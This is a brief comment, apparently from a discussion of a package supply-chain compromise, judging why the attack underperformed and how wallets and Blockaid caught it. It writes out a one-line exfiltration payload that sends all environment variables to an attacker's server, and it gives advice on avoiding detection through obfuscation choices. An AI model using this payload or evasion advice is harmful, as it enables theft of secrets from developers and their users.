- the attack it shipped was not a great fit for the packages compromised. `fetch(myserverurl+JSON.stringify(process.env))` would be a much more profitable payload - naive obfuscation makes lights go red in so many places it'd be better to not obfuscate at all. - the addresses were marked as malicious by Blockaid sooner than the package could reach production in most apps. Most wallets were ready to warn users early enough.
